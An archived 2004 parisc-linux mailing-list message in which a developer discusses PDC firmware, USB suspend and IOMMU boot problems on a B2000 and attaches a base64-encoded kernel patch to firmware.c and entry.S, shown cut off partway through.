X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 22 Jan 2004 18:54:21 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20672


--========/400CB8A1000028AB/mail.tiscali.be
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit

>yup - that's fixed in 2.6 slightly better.
>Look for pdc_io_reset_devices() in drivers/parisc/sba_iommu.c.
>You can backport and test that change to 2.4, I'd be happy to apply it.

Well, here is attached 95% of work (see attached text file PDC_WRK.diff)
Please double check (may be still removing temporarely useless EXPORT_SYMBOL
and finalyse chg of 'direction' type to an enum?)

But it doesn't help it just move the pb when setup SBA :(
[snip]
5. Memory (1) at 0xfed10200 [49], versions 0x
d, 0x0, 0x9
CPU(s): 1 x PA8600 (PCX-W+) at 400.000000 MHz
SBA found Astro 2.1 at 0xfed00000

>The problem is if suckyio USB (or any device) is still doing DMA when
>we reprogram the IOMMU, it will cause an HPMC.

hmm I didn't get any hmpc but it more act as if it was sending something
to write to the cdrom (iether the cdrom was connected or not) or trying to
reset with wrong info?

> The reason is we are fundementally changing how DMA works (non-coherent
> to coherent) and PDC doesn't reprogram the suckyIo USB accordingly.
> C3000 (and related systems) provides a special PDC call to disable USB.
> "ccio" (eg C200) systems can have the same problem with LAN boot.
Even in 2.6 I got exactly the same pb with this ?*# b2k (and unforunately
I have only one b2k to test :(, just in case it was a pb on this machine?)

>> I also try to bypass this memcpy (and restore pdc_suspend_usb() call)
>> and it boot also well.

The same with patch.

>I think you've just prevented either PDC or Linux from using a PDC device.
Ok


>> In sumary, on the b2k, this early memcpy() seems to break something in
>> the later pdc_suspend_usb() call.

>It's the other way around. pdc_suspend_usb() is breaking PDC_CONSOLE.
>See email related to linux-2.6 c3000 serial console problems late
>last year.

Still have to read back again (sorry)

>AFAIK, the memcpy just enables the PDC to use a serial console.
>But pdc_suspend_usb() apperently blows away the whole suckyio chip
>and thus PDC can no longer use suckyio serial either. Hrmm..I t
ought
>there was a IO_RESET_AND_CLEAR pdc call in that same chunk of code.

Sorry I didn't find any IO_RESET_AND_CLEAR :(

Even though, I try to call pdc_io_reset(); just before pdc_io_reset_device();.
But it doesn't help ;)


>Anyway, Figuring out some additional info could help:
>   (a) know which devices migh have DMA enabled when the OS gets control

How may do this ?)

>   (b) disable just the DMA
>   (c) detect when PDC_CONSOLE wants to use a device whose DMA we've disabled

I would also like to be sure that the same info are used (and btw send to
pdc) by real32_call_asm and so just put some printk before this call real32_call_asm();
but it seems to create an infinite loop of print. Any idea?

Where should I found more info on all of this 'cmd' send to pdc?

Thanks in advance for additional attention,
    Joel




-------------------------------------------------------------------------
Tiscali ADSL: 12 mois  29,50 /mois! L'Internet rapide, c'est pour tout
le monde.
http://reg.tiscali.be/default.asp?lg=fr



--========/400CB8A1000028AB/mail.tiscali.be
Content-Type: application/octet-stream
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="PDC_WRK.diff"

ZGlmZiAtTmF1clggZG9udGRpZmYgbGludXgtMi40LjI0LXBhMC5vcmlnL2FyY2gvcGFyaXNjL2tl
cm5lbC9lbnRyeS5TIGxpbnV4LTIuNC4yNC1wYTAvYXJjaC9wYXJpc2Mva2VybmVsL2VudHJ5LlMK
LS0tIGxpbnV4LTIuNC4yNC1wYTAub3JpZy9hcmNoL3BhcmlzYy9rZXJuZWwvZW50cnkuUwkyMDAz
LTEyLTA1IDA3OjQyOjMyLjAwMDAwMDAwMCArMDEwMAorKysgbGludXgtMi40LjI0LXBhMC9hcmNo
L3BhcmlzYy9rZXJuZWwvZW50cnkuUwkyMDA0LTAxLTIyIDEzOjIyOjA0LjAwMDAwMDAwMCArMDEw
MApAQCAtMjIyNyw5ICsyMjI3LDEyIEBACiAKIAlTVFJFRyAgICAgJXIyOCxUQVNLX1BUX0dSMjgt
VEFTS19TWl9BTEdOLUZSQU1FX1NJWkUoJXIzMCkKIAorI2lmZGVmIENPTkZJR19IUFVYCisKIAkv
KiBTYXZlIG90aGVyIGhwdXggcmV0dXJucyBpZiBwZXJzb25hbGl0eSBpcyBQRVJfSFBVWCAqLwog
Ci0jZGVmaW5lIFBFUl9IUFVYIDB4ZSAvKiA8bGludXgvcGVyc29uYWxpdHkuaD4gY2Fubm90IGJl
IGVhc2lseSBpbmNsdWRlZCAqLworLyogPGxpbnV4L3BlcnNvbmFsaXR5Lmg+IGNhbm5vdCBiZSBl
YXNpbHkgaW5jbHVkZWQgKi8KKyNkZWZpbmUgUEVSX0hQVVggMHhlCiAKIAlMRFJFRyAgICAgVEFT
S19QRVJTT05BTElUWS1UQVNLX1NaX0FMR04tRlJBTUVfU0laRSglcjMwKSwlcjE5CiAJQ01QSUI8
PixuIFBFUl9IUFVYLCVyMTksMWYKQEAgLTIyMzcsNiArMjI0MCw4IEBACiAJU1RSRUcgICAgICVy
MjksVEFTS19QVF9HUjI5LVRBU0tfU1pfQUxHTi1GUkFNRV9TSVpFKCVyMzApCiAxOgogCisjZW5k
aWYgLyogQ09ORklHX0hQVVggKi8KKwogCS8qIFNlZW1zIHRvIG1lIHRoYXQgZHAgY291bGQgYmUg
d3JvbmcgaGVyZSwgaWYgdGhlIHN5c2NhbGwgaW52b2x2ZWQKIAkgKiBjYWxsaW5nIGEgbW9kdWxl
LCBhbmQgbm90aGluZyBnb3Qgcm91bmQgdG8gcmVzdG9yaW5nIGRwIG9uIHJldHVybi4KIAkgKi8K
ZGlmZiAtTmF1clggZG9udGRpZmYgbGludXgtMi40LjI0LXBhMC5vcmlnL2FyY2gvcGFyaXNjL2tl
cm5lbC9maXJtd2FyZS5jIGxpbnV4LTIuNC4yNC1wYTAvYXJjaC9wYXJpc2Mva2VybmVsL2Zpcm13
YXJlLmMKLS0tIGxpbnV4LTIuNC4yNC1wYTAub3JpZy9hcmNoL3BhcmlzYy9rZXJuZWwvZmlybXdh
cmUuYwkyMDAzLTEwLTAyIDA3OjMwOjU1LjAwMDAwMDAwMCArMDIwMAorKysgbGludXgtMi40LjI0
LXBhMC9hcmNoL3BhcmlzYy9rZXJuZWwvZmlybXdhcmUuYwkyMDA0LTAxLTIyIDE4OjE2OjEyLjAw
MDAwMDAwMCArMDEwMApAQCAtMSwxMCArMSwyMiBAQAotLyogYXJjaC9wYXJpc2Mva2VybmVsL2Zp
cm13YXJlLmMgIC0gc2FmZSBwZGMgYWNjZXNzIHJvdXRpbmVzCisvKgorICogYXJjaC9wYXJpc2Mv
a2VybmVsL2Zpcm13YXJlLmMgIC0gc2FmZSBQREMgYWNjZXNzIHJvdXRpbmVzCisgKgorICoJUERD
ID09IFByb2Nlc3NvciBEZXBlbmRlbnQgQ29kZQorICoKKyAqIFNlZSBodHRwOi8vd3d3LnBhcmlz
Yy1saW51eC5vcmcvZG9jdW1lbnRhdGlvbi9pbmRleC5odG1sCisgKiBmb3IgZG9jdW1lbnRhdGlv
biBkZXNjcmliaW5nIHRoZSBlbnRyeSBwb2ludHMgYW5kIGNhbGxpbmcKKyAqIGNvbnZlbnRpb25z
IGRlZmluZWQgYmVsb3cuCiAgKgogICogQ29weXJpZ2h0IDE5OTkgU3VTRSBHbWJIIE51ZXJuYmVy
ZyAoUGhpbGlwcCBSdW1wZiwgcHJ1bXBmQHR1eC5vcmcpCi0gKiBwb3J0aW9ucyBDb3B5cmlnaHQg
MTk5OSBUaGUgUHVmZmluIEdyb3VwLCAoQWxleCBkZVZyaWVzLCBEYXZpZCBLZW5uZWR5KQorICog
Q29weXJpZ2h0IDE5OTkgVGhlIFB1ZmZpbiBHcm91cCwgKEFsZXggZGVWcmllcywgRGF2aWQgS2Vu
bmVkeSkKKyAqIENvcHlyaWdodCAyMDAzIEdyYW50IEdydW5kbGVyIDxncnVuZGxlciBwYXJpc2Mt
bGludXggb3JnPgogICoKLSAqIG9ubHkgdGhlc2Ugcm91dGluZXMgc2hvdWxkIGJlIHVzZWQgb3V0
IG9mIHRoZSByZWFsIGtlcm5lbCAoaS5lLiBldmVyeXRoaW5nCi0gKiB1c2luZyB2aXJ0dWFsIGFk
ZHJlc3NlcykgZm9yIG9idmlvdXMgcmVhc29ucyAqLworICogICAgVGhpcyBwcm9ncmFtIGlzIGZy
ZWUgc29mdHdhcmU7IHlvdSBjYW4gcmVkaXN0cmlidXRlIGl0IGFuZC9vciBtb2RpZnkKKyAqICAg
IGl0IHVuZGVyIHRoZSB0ZXJtcyBvZiB0aGUgR05VIEdlbmVyYWwgUHVibGljIExpY2Vuc2UgYXMg
cHVibGlzaGVkIGJ5CisgKiAgICB0aGUgRnJlZSBTb2Z0d2FyZSBGb3VuZGF0aW9uOyBlaXRoZXIg
dmVyc2lvbiAyIG9mIHRoZSBMaWNlbnNlLCBvcgorICogICAgKGF0IHlvdXIgb3B0aW9uKSBhbnkg
bGF0ZXIgdmVyc2lvbi4KKyAqCisgKi8KIAogLyoJSSB0aGluayBpdCB3b3VsZCBiZSBpbiBldmVy
eW9uZSdzIGJlc3QgaW50ZXJlc3QgdG8gZm9sbG93IHRoaXMKICAqCWd1aWRlbGluZXMgd2hlbiB3
cml0aW5nIFBEQyB3cmFwcGVyczoKQEAgLTQxLDE5ICs1MywyMCBAQAogICoJCQkJCXBydW1wZgk5
OTEwMTYJCiAgKi8KIAorI2luY2x1ZGUgPHN0ZGFyZy5oPgorCisjaW5jbHVkZSA8bGludXgvZGVs
YXkuaD4KKyNpbmNsdWRlIDxsaW51eC9pbml0Lmg+CiAjaW5jbHVkZSA8bGludXgva2VybmVsLmg+
CisjaW5jbHVkZSA8bGludXgvbW9kdWxlLmg+CiAjaW5jbHVkZSA8bGludXgvc3RyaW5nLmg+CiAj
aW5jbHVkZSA8bGludXgvc3BpbmxvY2suaD4KLSNpbmNsdWRlIDxsaW51eC9pbml0Lmg+Ci0jaW5j
bHVkZSA8bGludXgvZGVsYXkuaD4KIAogI2luY2x1ZGUgPGFzbS9wYWdlLmg+CiAjaW5jbHVkZSA8
YXNtL3BkYy5oPgogI2luY2x1ZGUgPGFzbS9zeXN0ZW0uaD4KICNpbmNsdWRlIDxhc20vcHJvY2Vz
c29yLmg+CS8qIGZvciBib290X2NwdV9kYXRhICovCiAKLSNpbmNsdWRlIDxzdGRhcmcuaD4KLQog
c3RhdGljIHNwaW5sb2NrX3QgcGRjX2xvY2sgPSBTUElOX0xPQ0tfVU5MT0NLRUQ7CiBzdGF0aWMg
dW5zaWduZWQgbG9uZyBwZGNfcmVzdWx0WzMyXSBfX2F0dHJpYnV0ZV9fICgoYWxpZ25lZCAoOCkp
KTsKIHN0YXRpYyB1bnNpZ25lZCBsb25nIHBkY19yZXN1bHQyWzMyXSBfX2F0dHJpYnV0ZV9fICgo
YWxpZ25lZCAoOCkpKTsKQEAgLTcwLDkgKzgzLDkgQEAKICAqLwogCiAjaWZkZWYgX19M
UDY0X18KLXN0YXRpYyBsb25nIHJlYWw2NF9jYWxsKHVuc2lnbmVkIGxvbmcgZnVuY3Rpb24sIC4u
Lik7Citsb25nIHJlYWw2NF9jYWxsKHVuc2lnbmVkIGxvbmcgZnVuY3Rpb24sIC4uLik7CiAjZW5k
aWYKLXN0YXRpYyBsb25nIHJlYWwzMl9jYWxsKHVuc2lnbmVkIGxvbmcgZnVuY3Rpb24sIC4uLik7
Citsb25nIHJlYWwzMl9jYWxsKHVuc2lnbmVkIGxvbmcgZnVuY3Rpb24sIC4uLik7CiAKICNpZiBk
ZWZpbmVkKF9fTFA2NF9fKSAmJiAhIGRlZmluZWQoQ09ORklHX1BEQ19OQVJST1cpCiAjZGVmaW5l
IE1FTV9QREMgKHVuc2lnbmVkIGxvbmcpKFBBR0UwLT5tZW1fcGRjX2hpKSA8PCAzMiB8IFBBR0Uw
LT5tZW1fcGRjCkBAIC0xNDMsMTQgKzE1NiwxNSBAQAogICovCiBpbnQgcGRjX2FkZF92YWxpZCh1
bnNpZ25lZCBsb25nIGFkZHJlc3MpCiB7Ci0gICAgICAgIGludCByZXR2YWw7CisJaW50IHJldHZh
bDsKIAotICAgICAgICBzcGluX2xvY2tfaXJxKCZwZGNfbG9jayk7Ci0gICAgICAgIHJldHZhbCA9
IG1lbV9wZGNfY2FsbChQRENfQUREX1ZBTElELCBQRENfQUREX1ZBTElEX1ZFUklGWSwgYWRkcmVz
cyk7Ci0gICAgICAgIHNwaW5fdW5sb2NrX2lycSgmcGRjX2xvY2spOworCXNwaW5fbG9ja19pcnEo
JnBkY19sb2NrKTsKKwlyZXR2YWwgPSBtZW1fcGRjX2NhbGwoUERDX0FERF9WQUxJRCwgUERDX0FE
RF9WQUxJRF9WRVJJRlksIGFkZHJlc3MpOworCXNwaW5fdW5sb2NrX2lycSgmcGRjX2xvY2spOwog
Ci0gICAgICAgIHJldHVybiByZXR2YWw7CisJcmV0dXJuIHJldHZhbDsKIH0KKy8qIEVYUE9SVF9T
WU1CT0wocGRjX2FkZF92YWxpZCk7ICovCiAKIC8qKgogICogcGRjX2NoYXNzaXNfaW5mbyAtIFJl
dHVybiBjaGFzc2lzIGluZm9ybWF0aW9uLgpAQCAtMTYyLDE4ICsxNzYsMTggQEAKICAqLwogaW50
IF9faW5pdCBwZGNfY2hhc3Npc19pbmZvKHN0cnVjdCBwZGNfY2hhc3Npc19pbmZvICpjaGFzc2lz
X2luZm8sIHZvaWQgKmxlZF9pbmZvLCB1bnNpZ25lZCBsb25nIGxlbikKIHsKLSAgICAgICAgaW50
IHJldHZhbDsKKwlpbnQgcmV0dmFsOwogCi0gICAgICAgIHNwaW5fbG9ja19pcnEoJnBkY19sb2Nr
KTsKLSAgICAgICAgbWVtY3B5KCZwZGNfcmVzdWx0LCBjaGFzc2lzX2luZm8sIHNpemVvZigqY2hh
c3Npc19pbmZvKSk7Ci0gICAgICAgIG1lbWNweSgmcGRjX3Jlc3VsdDIsIGxlZF9pbmZvLCBsZW4p
OwotICAgICAgICByZXR2YWwgPSBtZW1fcGRjX2NhbGwoUERDX0NIQVNTSVMsIFBEQ19SRVRVUk5f
Q0hBU1NJU19JTkZPLAotICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgX19wYShwZGNfcmVz
dWx0KSwgX19wYShwZGNfcmVzdWx0MiksIGxlbik7Ci0gICAgICAgIG1lbWNweShjaGFzc2lzX2lu
Zm8sIHBkY19yZXN1bHQsIHNpemVvZigqY2hhc3Npc19pbmZvKSk7Ci0gICAgICAgIG1lbWNweShs
ZWRfaW5mbywgcGRjX3Jlc3VsdDIsIGxlbik7Ci0gICAgICAgIHNwaW5fdW5sb2NrX2lycSgmcGRj
X2xvY2spOworCXNwaW5fbG9ja19pcnEoJnBkY19sb2NrKTsKKwltZW1jcHkoJnBkY19yZXN1bHQs
IGNoYXNzaXNfaW5mbywgc2l6ZW9mKCpjaGFzc2lzX2luZm8pKTsKKwltZW1jcHkoJnBkY19yZXN1
bHQyLCBsZWRfaW5mbywgbGVuKTsKKwlyZXR2YWwgPSBtZW1fcGRjX2NhbGwoUERDX0NIQVNTSVMs
IFBEQ19SRVRVUk5fQ0hBU1NJU19JTkZPLAorCQkJICAgICAgX19wYShwZGNfcmVzdWx0KSwgX19w
YShwZGNfcmVzdWx0MiksIGxlbik7CisJbWVtY3B5KGNoYXNzaXNfaW5mbywgcGRjX3Jlc3VsdCwg
c2l6ZW9mKCpjaGFzc2lzX2luZm8pKTsKKwltZW1jcHkobGVkX2luZm8sIHBkY19yZXN1bHQyLCBs
ZW4pOworCXNwaW5fdW5sb2NrX2lycSgmcGRjX2xvY2spOwogCi0gICAgICAgIHJldHVybiByZXR2
YWw7CisJcmV0dXJuIHJldHZhbDsKIH0KIAogLyoqCkBAIC0xODcsOSArMjAxLDkgQEAKIHsKIAlp
ZiAoIWlzX3BkY19wYXQoKSkKIAkJcmV0dXJuIC0xOwotCQkKKwogCWludCByZXR2YWwgPSAwOwot
CQorCiAJc3Bpbl9sb2NrX2lycSgmcGRjX2xvY2spOwogCXJldHZhbCA9IG1lbV9wZGNfY2FsbChQ
RENfUEFUX0NIQVNTSVNfTE9HLCBQRENfUEFUX0NIQVNTSVNfV1JJVEVfTE9HLCBfX3BhKCZzdGF0
ZSksIF9fcGEoJmRhdGEpKTsKIAlzcGluX3VubG9ja19pcnEoJnBkY19sb2NrKTsKQEAgLTIyNCwx
OCArMjM4LDE4IEBACiAgKi8KIGludCBfX2luaXQgcGRjX2NvcHJvY19jZmcoc3RydWN0IHBkY19j
b3Byb2NfY2ZnICpwZGNfY29wcm9jX2luZm8pCiB7Ci0gICAgICAgIGludCByZXR2YWw7CisJaW50
IHJldHZhbDsKIAotICAgICAgICBzcGluX2xvY2tfaXJxKCZwZGNfbG9jayk7Ci0gICAgICAgIHJl
dHZhbCA9IG1lbV9wZGNfY2FsbChQRENfQ09QUk9DLCBQRENfQ09QUk9DX0NGRywgX19wYShwZGNf
cmVzdWx0KSk7Ci0gICAgICAgIGNvbnZlcnRfdG9fd2lkZShwZGNfcmVzdWx0KTsKLSAgICAgICAg
cGRjX2NvcHJvY19pbmZvLT5jY3JfZnVuY3Rpb25hbCA9IHBkY19yZXN1bHRbMF07Ci0gICAgICAg
IHBkY19jb3Byb2NfaW5mby0+Y2NyX3ByZXNlbnQgPSBwZGNfcmVzdWx0WzFdOwotICAgICAgICBw
ZGNfY29wcm9jX2luZm8tPnJldmlzaW9uID0gcGRjX3Jlc3VsdFsxN107Ci0gICAgICAgIHBkY19j
b3Byb2NfaW5mby0+bW9kZWwgPSBwZGNfcmVzdWx0WzE4XTsKLSAgICAgICAgc3Bpbl91bmxvY2tf
aXJxKCZwZGNfbG9jayk7CisJc3Bpbl9sb2NrX2lycSgmcGRjX2xvY2spOworCXJldHZhbCA9IG1l
bV9wZGNfY2FsbChQRENfQ09QUk9DLCBQRENfQ09QUk9DX0NGRywgX19wYShwZGNfcmVzdWx0KSk7
CisJY29udmVydF90b193aWRlKHBkY19yZXN1bHQpOworCXBkY19jb3Byb2NfaW5mby0+Y2NyX2Z1
bmN0aW9uYWwgPSBwZGNfcmVzdWx0WzBdOworCXBkY19jb3Byb2NfaW5mby0+Y2NyX3ByZXNlbnQg
PSBwZGNfcmVzdWx0WzFdOworCXBkY19jb3Byb2NfaW5mby0+cmV2aXNpb24gPSBwZGNfcmVzdWx0
WzE3XTsKKwlwZGNfY29wcm9jX2luZm8tPm1vZGVsID0gcGRjX3Jlc3VsdFsxOF07CisJc3Bpbl91
bmxvY2tfaXJxKCZwZGNfbG9jayk7CiAKLSAgICAgICAgcmV0dXJuIHJldHZhbDsKKwly
ZXR1cm4gcmV0dmFsOwogfQogCiAvKioKQEAgLTI2NCw2ICsyNzgsNyBAQAogCiAJcmV0dXJuIHJl
dHZhbDsKIH0KKy8qIEVYUE9SVF9TWU1CT0wocGRjX2lvZGNfcmVhZCk7ICovCiAKIC8qKgogICog
cGRjX3N5c3RlbV9tYXBfZmluZF9tb2RzIC0gTG9jYXRlIHVuYXJjaGl0ZWN0ZWQgbW9kdWxlcy4K
QEAgLTUxOCw2ICs1MzMsNyBAQAogCiAJcmV0dXJuIHJldHZhbDsKIH0KKy8qIEVYUE9SVF9TWU1C
T0wocGRjX2xhbl9zdGF0aW9uX2lkKTsgKi8KIAogCiAvKioKQEAgLTUzNyw4ICs1NTMsOCBAQAog
ICogICAgbyBjYWJsZSB0b28gbG9uZyAoaWUgU0Ugc2NzaSAxME1oeiB3b24ndCBzdXBwb3J0IDZt
IGxlbmd0aCksCiAgKiAgICBvIGJ1cyB3aWR0aCBleHBvcnRlZCBpcyBsZXNzIHRoYW4gd2hhdCB0
aGUgaW50ZXJmYWNlIGNoaXAgc3VwcG9ydHMuCiAgKi8KLWludCBwZGNfZ2V0X2luaXRpYXRvcigg
c3RydWN0IGhhcmR3YXJlX3BhdGggKmh3cGF0aCwgdW5zaWduZWQgY2hhciAqc2NzaV9pZCwKLQl1
bnNpZ25lZCBsb25nICpwZXJpb2QsIGNoYXIgKndpZHRoLCBjaGFyICptb2RlKQoraW50IHBkY19n
ZXRfaW5pdGlhdG9yKHN0cnVjdCBoYXJkd2FyZV9wYXRoICpod3BhdGgsIHVuc2lnbmVkIGNoYXIg
KnNjc2lfaWQsCisJCXVuc2lnbmVkIGxvbmcgKnBlcmlvZCwgY2hhciAqd2lkdGgsIGNoYXIgKm1v
ZGUpCiB7CiAJaW50IHJldHZhbDsKIApAQCAtNTU2LDQyICs1NzIsNDAgQEAKIAogCQkvKiBjb252
ZXJ0IEJ1cyBzcGVlZCBpbiBNaHogdG8gcGVyaW9kIChpbiAxLzEwIG5zKSAqLwogCQlzd2l0Y2go
cGRjX3Jlc3VsdFsxXSkgewotCQkvKgotCQkqKiBjYXNlICAwOiAgIGRyaXZlciBkZXRlcm1pbmVz
IHJhdGUKLQkJKiogY2FzZSAtMTogICBTZXR0aW5ncyBhcmUgdW5pbml0aWFsaXplZC4KLQkJKi8K
LQkJY2FzZSAgNTogICpwZXJpb2QgPSAyMDAwOyBicmVhazsKLQkJY2FzZSAxMDogICpwZXJpb2Qg
PSAxMDAwOyBicmVhazsKLQkJY2FzZSAyMDogICpwZXJpb2QgPSA1MDA7IGJyZWFrOwotCQljYXNl
IDQwOiAgKnBlcmlvZCA9IDI1MDsgYnJlYWs7Ci0JCWRlZmF1bHQ6IC8qIERvIG5vdGhpbmcgKi8g
YnJlYWs7CisJCQkvKgorCQkJICogY2FzZSAgMDogICBkcml2ZXIgZGV0ZXJtaW5lcyByYXRlCisJ
CQkgKiBjYXNlIC0xOiAgIFNldHRpbmdzIGFyZSB1bmluaXRpYWxpemVkLgorCQkJICovCisJCQlj
YXNlICA1OiAgKnBlcmlvZCA9IDIwMDA7IGJyZWFrOworCQkJY2FzZSAxMDogICpwZXJpb2QgPSAx
MDAwOyBicmVhazsKKwkJCWNhc2UgMjA6ICAqcGVyaW9kID0gNTAwOyBicmVhazsKKwkJCWNhc2Ug
NDA6ICAqcGVyaW9kID0gMjUwOyBicmVhazsKKwkJCWRlZmF1bHQ6IC8qIERvIG5vdGhpbmcgKi8g
YnJlYWs7CiAJCX0KIAogCQkvKiAKLQkJKiogcGRjX3Jlc3VsdFsyXQlQREMgc3VnZ2VzdGVkIFND
U0kgaWQKLQkJKiogcGRjX3Jlc3VsdFszXQlQREMgc3VnZ2VzdGVkIFNDU0kgcmF0ZQotCQkqLwor
CQkgKiBwZGNfcmVzdWx0WzJdCVBEQyBzdWdnZXN0ZWQgU0NTSSBpZAorCQkgKiBwZGNfcmVzdWx0
WzNdCVBEQyBzdWdnZXN0ZWQgU0NTSSByYXRlCisJCSAqLwogCiAJCS8qIEMzMDAwIGFuZCBzaW1p
bGFyIHdvcmtzdGF0aW9ucyByZXBvcnQgcGVyaW9kL21vZGUgKi8KIAkJaWYgKElTX1NQUk9DS0VU
UygpKSB7Ci0JCQkvKgotCQkJKioJMCA9PSA4LWJpdAotCQkJKioJMSA9PSAxNi1iaXQKLQkJCSov
CisJCQkvKiAwID09IDgtYml0LCAxID09IDE2LWJpdCAqLwogCQkJKndpZHRoID0gKGNoYXIpIHBk
Y19yZXN1bHRbNF07CiAKIAkJCS8qIC4uLmluIGNhc2Ugc29tZW9uZSBuZWVkcyBpdCBpbiB0aGUg
ZnV0dXJlLgotCQkJKiogc3ltNTNjOHh4LmMgY29tbWVudHMgc2F5IGl0IGNhbid0IGF1dG9kZXRl
Y3QKLQkJCSoqIGZvciA4MjUvODI1QS84NzUgY2hpcHMuCi0JCQkqKgkwID09IFNFLCAxID09IEhW
RCwgMiA9PSBMVkQKLQkJCSovCisJCQkgKiBzeW01M2M4eHguYyBjb21tZW50cyBzYXkgaXQgY2Fu
J3QgYXV0b2RldGVjdAorCQkJICogZm9yIDgyNS84MjVBLzg3NSBjaGlwcy4KKwkJCSAqCTAgPT0g
U0UsIDEgPT0gSFZELCAyID09IExWRAorCQkJICovCiAJCQkqbW9kZSA9IChjaGFyKSBwZGNfcmVz
dWx0WzVdOyAKIAkJfQogCX0KIAogCXNwaW5fdW5sb2NrX2lycSgmcGRjX2xvY2spOwotCXJldHVy
biByZXR2YWwgPj0gUERDX09LOworCXJldHVybiAocmV0dmFsID49IFBEQ19PSyk7CiB9CisvKiBF
WFBPUlRfU1lNQk9MKHBkY19nZXRfaW5pdGlhdG9yKTsgKi8KIAogCiAvKioKQEAgLTY0MCw2ICs2
NTQsNDkgQEAKIH0KIAogCisjaWYgMAkvKiBVTlRFU1QgQ09ERSAtIGxlZnQgaGVyZSBpbiBjYXNl
IHNvbWVvbmUgbmVlZHMgaXQgKi8KKworLyogCisgKiBwZGNfcGNpX2NvbmZpZ19yZWFkIC0gcmVh
ZCBQQ0kgY29uZmlnIHNwYWNlLgorICogQGhwYQkJdG9rZW4gZnJvbSBQREMgdG8gaW5kaWNhdGUg
d2hpY2ggUENJIGRldmljZQorICogQHBjaV9hZGRyCWNvbmZpZ3VyYXRpb24gc3BhY2UgYWRkcmVz
cyB0byByZWFkIGZyb20KKyAqCisgKiBSZWFkIFBDSSBDb25maWd1cmF0aW9uIHNwYWNlICpiZWZv
cmUqIGxpbnV4IFBDSSBzdWJzeXN0ZW0gaXMgcnVubmluZy4KKyAqLwordW5zaWduZWQgaW50IHBk
Y19wY2lfY29uZmlnX3JlYWQodm9pZCAqaHBhLCB1bnNpZ25lZCBsb25nIGNmZ19hZGRyKQorewor
CWludCByZXR2YWw7CisJc3Bpbl9sb2NrX2lycSgmcGRjX2xvY2spOworCXBkY19yZXN1bHRbMF0g
PSAwOworCXBkY19yZXN1bHRbMV0gPSAwOworCXJldHZhbCA9IG1lbV9wZGNfY2FsbChQRENfUENJ
X0lOREVYLCBQRENfUENJX1JFQURfQ09ORklHLCAKKwkJCSAgICAgIF9fcGEocGRjX3Jlc3VsdCks
IGhwYSwgY2ZnX2FkZHImfjNVTCwgNFVMKTsKKwlzcGluX3VubG9ja19pcnEoJnBkY19sb2NrKTsK
KwlyZXR1cm4gcmV0dmFsID8gfjAgOiAodW5zaWduZWQgaW50KSBwZGNfcmVzdWx0WzBdOworfQor
CisKKy8qIAorICogcGRjX3BjaV9jb25maWdfd3JpdGUgLSByZWFkIFBDSSBjb25maWcgc3BhY2Uu
CisgKiBAaHBhCQl0b2tlbiBmcm9tIFBEQyB0byBpbmRpY2F0ZSB3aGljaCBQQ0kgZGV2
aWNlCisgKiBAcGNpX2FkZHIJY29uZmlndXJhdGlvbiBzcGFjZSBhZGRyZXNzIHRvIHdyaXRlCisg
KiBAdmFsCQl2YWx1ZSB3ZSB3YW50IGluIHRoZSAzMi1iaXQgcmVnaXN0ZXIKKyAqCisgKiBXcml0
ZSBQQ0kgQ29uZmlndXJhdGlvbiBzcGFjZSAqYmVmb3JlKiBsaW51eCBQQ0kgc3Vic3lzdGVtIGlz
IHJ1bm5pbmcuCisgKi8KK3ZvaWQgcGRjX3BjaV9jb25maWdfd3JpdGUodm9pZCAqaHBhLCB1bnNp
Z25lZCBsb25nIGNmZ19hZGRyLCB1bnNpZ25lZCBpbnQgdmFsKQoreworCWludCByZXR2YWw7CisJ
c3Bpbl9sb2NrX2lycSgmcGRjX2xvY2spOworCXBkY19yZXN1bHRbMF0gPSAwOworCXJldHZhbCA9
IG1lbV9wZGNfY2FsbChQRENfUENJX0lOREVYLCBQRENfUENJX1dSSVRFX0NPTkZJRywgCisJCQkg
ICAgICBfX3BhKHBkY19yZXN1bHQpLCBocGEsCisJCQkgICAgICBjZmdfYWRkciZ+M1VMLCA0VUws
ICh1bnNpZ25lZCBsb25nKSB2YWwpOworCXNwaW5fdW5sb2NrX2lycSgmcGRjX2xvY2spOworCXJl
dHVybiByZXR2YWw7Cit9CisjZW5kaWYgLyogVU5URVNURUQgQ09ERSAqLworCiAvKioKICAqIHBk
Y190b2RfcmVhZCAtIFJlYWQgdGhlIFRpbWUtT2YtRGF5IGNsb2NrLgogICogQHRvZDogVGhlIHJl
dHVybiBidWZmZXI6CkBAIC02NTgsNiArNzE1LDcgQEAKIAogICAgICAgICByZXR1cm4gcmV0dmFs
OwogfQorLyogRVhQT1JUX1NZTUJPTChwZGNfdG9kX3JlYWQpOyAqLwogCiAvKioKICAqIHBkY190
b2Rfc2V0IC0gU2V0IHRoZSBUaW1lLU9mLURheSBjbG9jay4KQEAgLTY3Niw2ICs3MzQsNyBAQAog
CiAgICAgICAgIHJldHVybiByZXR2YWw7CiB9CisvKiBFWFBPUlRfU1lNQk9MKHBkY190b2Rfc2V0
KTsgKi8KIAogI2lmZGVmIF9fTFA2NF9fCiBpbnQgcGRjX21lbV9tZW1fdGFibGUoc3RydWN0IHBk
Y19tZW1vcnlfdGFibGVfcmFkZHIgKnJfYWRkciwKQEAgLTc3MCwyMCArODI5LDM0IEBACiB9CiAK
IC8qCi0gKiBwZGNfc3VzcGVuZF91c2IgLSBTdG9wIFVTQiBjb250cm9sbGVyCisgKiBwZGNfaW9f
cmVzZXQgLSBIYWNrIHRvIGF2b2lkIG92ZXJsYXBwaW5nIHJhbmdlIHJlZ2lzdGVycyBvZiBCcmlk
Z2VzIGRldmljZXMuCisgKiBQcmltYXJpbHkgYSBwcm9ibGVtIG9uIFQ2MDAgKHdoaWNoIHBhcmlz
